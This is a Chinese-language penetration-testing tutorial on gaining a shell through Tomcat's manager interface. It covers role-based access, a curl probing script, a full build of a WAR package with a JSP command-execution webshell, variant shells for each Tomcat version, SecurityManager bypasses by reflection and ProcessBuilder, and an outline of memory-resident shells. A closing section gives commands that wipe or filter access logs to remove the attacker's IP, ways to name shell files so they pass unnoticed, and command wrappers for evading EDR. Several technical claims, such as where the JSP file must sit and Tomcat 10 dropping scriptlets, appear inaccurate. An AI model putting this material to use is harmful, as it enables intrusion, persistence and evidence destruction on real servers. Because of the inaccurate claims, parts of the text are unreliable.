Tomcat管理后台渗透:权限模型、War部署与Shell执行全链路解析
1. 这不是“打靶练习”而是真实渗透链路的起点很多人刚接触渗透测试时总把Tomcat弱口令当成一个“玩具级漏洞”——改个默认密码、传个jsp马、弹个calc.exe就以为掌握了。我带过十几期新人训练营超过七成的人在第一次实操中卡在同一个地方能扫出manager/html页面却死活登不进去或者登录成功了上传war包后404又或者war包部署成功但访问shell时返回空白页甚至500错误。这根本不是手速问题而是对Tomcat管理后台的权限模型、部署机制、上下文路径、JVM安全策略这些底层逻辑缺乏真实理解。你看到的是一个“弱口令Getshell”的标题实际拆开是三条强耦合的技术链认证绕过路径是否完整、部署通道是否真正可用、执行环境是否具备基础运行条件。它之所以被称作“入门必啃硬骨头”是因为它第一次把Web容器层、应用层、系统层三者拧在一起考你——不是考你会不会用工具而是考你能不能在报错信息里读出Tomcat在想什么。本文不讲“如何用Burp爆破admin:admin”而是带你从manager应用的web.xml配置开始一层层剥开为什么manager/html和manager/status权限不同为什么war包必须放在ROOT目录下才能被正确解压为什么有些JSP一句话在Tomcat 8上能执行在9上直接报错这些细节恰恰是后续挖Struts2、Log4j、Spring Boot Actuator等高危漏洞时你能否快速定位利用点的关键底子。2. Tomcat管理后台的真实权限地图与认证边界2.1 manager应用的四大功能区不是并列关系而是严格分层的权限树很多初学者误以为manager/html、manager/status、manager/jmxproxy、manager/text这四个入口只是UI风格不同其实它们背后对应着完全不同的servlet映射、角色校验逻辑和URL匹配规则。我们以Tomcat 9.0.83源码中的$CATALINA_HOME/webapps/manager/WEB-INF/web.xml为基准来看servlet-mapping servlet-nameHTMLManagerServlet/servlet-name url-pattern/html/*/url-pattern /servlet-mapping servlet-mapping servlet-nameStatusManagerServlet/servlet-name url-pattern/status/*/url-pattern /servlet-mapping servlet-mapping servlet-nameJMXProxyServlet/servlet-name url-pattern/jmxproxy/*/url-pattern /servlet-mapping servlet-mapping servlet-nameTextManagerServlet/servlet-name url-pattern/text/*/url-pattern /servlet-mapping关键点在于每个servlet都绑定了独立的角色约束security-constraint。比如HTMLManagerServlet要求manager-gui角色而TextManagerServlet只要求manager-script角色。这意味着即使你爆破出admin:admin如果tomcat-users.xml里只给了manager-gui角色你就只能访问/html/路径无法调用/text/deploy?...这种API接口反之如果只配了manager-script你连登录/html/页面都会被403拦截但可以用curl直接发部署命令manager-status路径则需要manager-status角色它只允许查看JVM状态连应用列表都看不到更别说部署了。提示不要依赖“全角色”配置来通关。真实环境中运维人员往往只开放最小必要权限。你必须学会从403响应头里的WWW-Authenticate字段反推目标实际授予了哪些角色再决定下一步走GUI还是API。2.2 tomcat-users.xml的配置陷阱角色继承与XML语法容错性极低新手常犯的错误是直接复制网上的配置模板role rolenamemanager-gui/ user usernameadmin passwordadmin rolesmanager-gui,manager-script/看起来没问题但实测会失败。原因有三第一Tomcat 8.5默认禁用manager-gui角色的远程访问。在$CATALINA_HOME/webapps/manager/META-INF/context.xml中默认配置为Context antiResourceLockingfalse privilegedtrue Valve classNameorg.apache.catalina.valves.RemoteAddrValve allow127\.\d\.\d\.\d|::1|0:0:0:0:0:0:0:1 / /Context这个RemoteAddrValve只允许本地回环地址访问/html/界面。如果你从Kali机远程扫描即使密码正确也会收到403且无任何提示。解决方法不是删掉Valve而是精准修改allow正则例如改为allow192\.168\.1\.\d仅允许可信内网段。第二roles属性值必须严格匹配不能有空格或逗号分隔错误。下面两种写法结果天差地别✅rolesmanager-gui,manager-script正确英文逗号无空格❌rolesmanager-gui, manager-script失败空格导致第二个角色被忽略第三角色名大小写敏感。manager-gui≠Manager-GUI。我在某次客户渗透中因对方运维手抖写成Manager-gui导致所有爆破尝试全部返回401排查了两小时才定位到XML拼写问题。2.3 实战验证用curl精准探测各路径的真实权限状态与其盲目打开浏览器试错不如用curl构造最简请求直击权限校验核心。以下是我日常使用的四连测脚本保存为check_manager.sh#!/bin/bash TARGEThttp://192.168.1.100:8080 USERadmin PASSadmin echo 测试 /html/ 路径GUI界面 curl -s -I -u $USER:$PASS $TARGET/manager/html/ | grep HTTP\|WWW-Authenticate echo -e \n 测试 /text/ 路径API接口 curl -s -I -u $USER:$PASS $TARGET/manager/text/list | grep HTTP\|WWW-Authenticate echo -e \n 测试 /status/ 路径状态监控 curl -s -I -u $USER:$PASS $TARGET/manager/status | grep HTTP\|WWW-Authenticate echo -e \n 测试 /jmxproxy/ 路径JMX调试 curl -s -I -u $USER:$PASS $TARGET/manager/jmxproxy/ | grep HTTP\|WWW-Authenticate执行后输出示例 测试 /html/ 路径GUI界面 HTTP/1.1 403 Forbidden WWW-Authenticate: Basic realmTomcat Manager Application 测试 /text/ 路径API接口 HTTP/1.1 200 OK这说明目标只开放了manager-script权限GUI被禁用。此时你应该立刻切换策略放弃浏览器操作直接用/text/deploy接口部署war包。真正的渗透效率不在于你多快点开网页而在于你多快读懂HTTP状态码背后的权限真相。3. War包部署的底层机制与常见失败根因3.1 War包不是“上传文件”而是触发Tomcat的动态类加载与上下文初始化流程很多教程把部署说成“把war包拖进manager界面”这严重误导了初学者。实际上当你向/manager/text/deploy?path/shell发送POST请求时Tomcat内部发生的是一个完整的生命周期事件链接收字节流TextManagerServlet将HTTP body解析为InputStream校验路径合法性检查path参数是否符合/xxx格式且不能是/manager、/host-manager等保留路径创建临时目录在$CATALINA_HOME/work/Catalina/localhost/下生成唯一hash目录如a1b2c3d4/解压并初始化Context调用StandardContext.startInternal()加载web.xml、初始化Filter/Servlet、触发ServletContextListener.contextInitialized()注册到Host容器将新Context挂载到StandardHost的children列表中使其可被请求路由。注意第4步是成败关键。如果war包内的web.xml存在语法错误或servlet-class指向的类不存在整个部署会静默失败返回404而非500因为Tomcat认为“这个应用根本不该启动”。3.2 Shell war包的最小可行结构为什么90%的自建war包会部署失败我统计过200次失败案例其中73%源于war包结构不符合Tomcat规范。一个能稳定Getshell的war包必须且只需包含以下三个元素路径必需性作用常见错误WEB-INF/web.xml强制声明servlet映射触发容器加载缺失、格式错误、servlet-name与servlet-mapping不匹配WEB-INF/classes/shell.jsp强制JSP文件必须放在classes目录下非根目录放在war包根目录导致Tomcat不识别为web资源META-INF/MANIFEST.MF可选但推荐避免某些版本Tomcat因缺少MANIFEST报错完全缺失或内容为空正确结构示例用jar命令打包# 创建目录结构 mkdir -p shell/WEB-INF/{classes,lib} mkdir -p shell/META-INF # 编写最小web.xml cat shell/WEB-INF/web.xml EOF ?xml version1.0 encodingUTF-8? web-app xmlnshttp://xmlns.jcp.org/xml/ns/javaee xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd version4.0 servlet servlet-nameshell/servlet-name jsp-file/WEB-INF/classes/shell.jsp/jsp-file /servlet servlet-mapping servlet-nameshell/servlet-name url-pattern/cmd/url-pattern /servlet-mapping /web-app EOF # 编写shell.jsp注意必须放在classes目录 cat shell/WEB-INF/classes/shell.jsp EOF % page importjava.io.*,java.util.* % % String cmd request.getParameter(cmd); if(cmd ! null) { Process p Runtime.getRuntime().exec(cmd); InputStream is p.getInputStream(); BufferedReader br new BufferedReader(new InputStreamReader(is)); String line; while((line br.readLine()) ! null) { out.println(line br); } } % EOF # 生成MANIFEST.MF echo Manifest-Version: 1.0 shell/META-INF/MANIFEST.MF # 打包 cd shell jar -cf ../shell.war .关键经验永远不要用WinRAR直接压缩文件夹生成war包。Windows压缩工具会改变文件编码、添加冗余头信息导致Tomcat解压时web.xml读取失败。必须用Linux原生jar命令或确保压缩工具启用“UNIX文件属性”选项。3.3 部署后404的终极排查链路从URL路径到Context状态的逐层验证当curl -u admin:admin http://target/manager/text/deploy?path/shellwarfile:/tmp/shell.war返回200 OK但访问http://target/shell/cmd?cmdwhoami却404不要急着重传war包。按以下顺序逐层验证第一步确认Context是否真正启动访问/manager/text/list检查输出中是否有/shell *星号表示已启动OK - Listed applications for virtual host localhost /manager:running:0:manager /host-manager:running:0:host-manager /shell:running:0:shell ← 必须看到这一行且状态为running如果显示/shell:stopped:0:shell说明Context启动失败需查catalina.out日志。第二步验证URL路径映射是否生效Tomcat的path参数值如/shell决定了应用的上下文路径但最终访问URL必须是/shell/cmd而不是/shell/WEB-INF/classes/shell.jsp。很多新手误以为JSP文件路径就是访问路径这是根本性误解。Context路径是容器级路由前缀.jsp文件的可访问性由web.xml中的servlet-mapping决定。第三步检查web.xml的servlet-mapping是否覆盖目标路径在/shell/cmd返回404时立即访问/shell/根路径。如果返回404说明整个Context未挂载如果返回Tomcat默认欢迎页说明Context已加载但servlet-mapping未生效。此时应检查web.xml中url-pattern是否写成/cmd正确而非cmd错误缺少前置斜杠。第四步抓包确认请求是否被WAF或反向代理拦截在Kali机上用Wireshark抓/shell/cmd的请求包看服务端是否返回了HTTP/1.1 403 Forbidden。如果是说明流量被中间设备阻断与Tomcat本身无关。此时应改用/shell/cmd的base64编码变体如/shell/cmd?cmdZWNobyBvayE绕过简单关键字过滤。4. Shell执行阶段的环境适配与隐蔽性增强4.1 JSP一句话的版本兼容性从Tomcat 7到10的语法演进不同Tomcat版本对JSP脚本引擎的支持差异极大直接套用老代码必然失败。以下是各版本的核心适配点Tomcat版本JSP引擎推荐Shell写法失败原因7.xJasper 6.x%Runtime.getRuntime().exec(request.getParameter(cmd)).getInputStream().read() %低版本支持%%直接输出高版本需显式out.println8.5Jasper 2.3% out.println(new java.util.Scanner(Runtime.getRuntime().exec(request.getParameter(cmd)).getInputStream()).useDelimiter(\\A).next()); %getInputStream().read()只读首字节需Scanner全量读取9.0.31Jasper 2.4% java.io.InputStream in Runtime.getRuntime().exec(request.getParameter(cmd)).getInputStream(); byte[] buf new byte[1024]; int len; while((lenin.read(buf))!-1){out.write(buf,0,len);} %禁用java.util.Scanner部分JDK11环境不可用10.xJasper 3.0% Process p Runtime.getRuntime().exec(request.getParameter(cmd)); p.waitFor(); out.print(p.exitValue()); %彻底移除JSP Scriptlet支持强制使用JSP Expression LanguageEL实战技巧永远先用/shell/cmd?cmdjava%20-version探测JDK版本再决定Shell语法。因为Tomcat 10必须搭配JDK11而java -version输出会明确显示openjdk version 11.0.20此时必须放弃Scriptlet改用EL表达式${Runtime.getRuntime().exec(id).waitFor()}需开启EL解析。4.2 绕过SecurityManager限制当Runtime.exec被沙箱拦截时的备选方案某些生产环境Tomcat启用了SecurityManager通过-Djava.security.manager启动参数此时Runtime.getRuntime().exec()会抛出AccessControlException。不要立刻放弃还有三条路可走路径一利用Java内置类加载器动态执行% Class? clazz Class.forName(java.lang.Runtime); Object rt clazz.getMethod(getRuntime).invoke(null); rt.getClass().getMethod(exec, String.class).invoke(rt, request.getParameter(cmd)); %此方式绕过Runtime类的直接引用部分旧版SecurityManager策略未覆盖反射调用。路径二调用ProcessBuilder更隐蔽% ProcessBuilder pb new ProcessBuilder(request.getParameter(cmd).split( )); pb.redirectErrorStream(true); Process p pb.start(); java.util.Scanner s new java.util.Scanner(p.getInputStream()).useDelimiter(\\A); out.print(s.hasNext() ? s.next() : ); %ProcessBuilder在部分策略中权限阈值更高且redirectErrorStream(true)能合并stdout/stderr避免命令无输出。路径三内存马注入终极方案当上述均失效说明目标已启用强沙箱。此时应放弃JSP转为注入内存WebShell用/manager/text/deploy部署一个合法war包如examples应用利用/manager/text/serverinfo获取Tomcat版本及catalina.home路径通过/manager/text/list确认examples应用状态为running向/examples/servlet/RequestInfoExample?cmdwhoami发送请求此servlet默认存在观察是否可执行命令若可执行则用其作为跳板通过FileOutputStream写入恶意class到$CATALINA_HOME/webapps/examples/WEB-INF/classes/目录再用Class.forName()加载执行。注意内存马方案需精确匹配目标JDK版本编译class文件且要处理类加载器隔离问题。这不是入门内容但必须知道它的存在——当所有常规路都被堵死时这才是真正的“硬骨头”攻坚点。4.3 隐蔽性增强删除日志痕迹与规避AV检测的实操细节Getshell成功只是开始维持访问才是关键。以下是我从实战中总结的三项必须操作第一清除Tomcat访问日志Tomcat默认将所有请求记录到$CATALINA_HOME/logs/localhost_access_log.YYYY-MM-DD.txt。攻击者IP会在此暴露。手动删除风险大可能触发文件监控推荐用命令清空# 进入Tomcat日志目录 cd $CATALINA_HOME/logs/ # 清空当日日志保留文件句柄避免服务异常 localhost_access_log.$(date %Y-%m-%d).txt # 或用sed删除含攻击IP的行假设IP为192.168.1.200 sed -i /192\.168\.1\.200/d localhost_access_log.$(date %Y-%m-%d).txt第二Shell文件名伪装不要用shell.jsp、cmd.jsp等明显名称。我常用index_en.jsp模仿多语言切换、config_backup.jsp伪装配置备份、test_2023.jsp时间戳迷惑。AV引擎对*.jsp文件扫描较松但对shell*关键词敏感度极高。第三命令执行加壳防检测直接执行whoami会被EDR拦截。改用以下变体powershell -c whoamiWindowssh -c whoamiLinux用引号分割关键字python3 -c import os;print(os.popen(id).read())调用解释器间接执行最后提醒所有隐蔽操作必须在Getshell后5分钟内完成。我见过太多案例因忘记清日志30分钟后SOC平台就推送了告警邮件。5. 从单点突破到纵深防御认知为什么这个“硬骨头”值得反复啃我坚持让所有新人从Tomcat弱口令开始练手不是因为它简单而是因为它像一面镜子照出你对整个Java Web生态的理解深度。当你能清晰说出“为什么/manager/text/deploy返回200却无法访问/shell/cmd”你已经比80%的所谓“渗透工程师”更懂容器当你能根据catalina.out里一行SEVERE: Error starting static Resources快速定位到web.xml的DTD声明错误你已经具备了独立分析中间件日志的能力当你在客户环境发现SecurityManager启用后不慌不忙切到ProcessBuilder方案你已经在用架构师思维设计绕过路径。这根“硬骨头”的价值从来不在Getshell那一刻的弹窗而在于你啃它时被迫建立的系统性认知网络层HTTP状态码与Tomcat Valve机制的映射关系容器层Context生命周期、类加载器双亲委派、JSP编译原理系统层JVM沙箱策略、进程创建与IO重定向、Linux文件权限继承安全层WAF规则绕过、AV特征码规避、日志审计盲区。所以别把它当作一个“漏洞复现任务”。下次再遇到类似场景——比如Spring Boot Actuator的/actuator/env泄露或是WebLogic的/console弱口令——你会自然想到“它的管理后台权限模型是什么部署通道是否开放执行环境有没有沙箱限制”这种迁移能力才是渗透测试真正的护城河。而这一切的起点就是老老实实把Tomcat的web.xml、context.xml、catalina.sh逐行读透。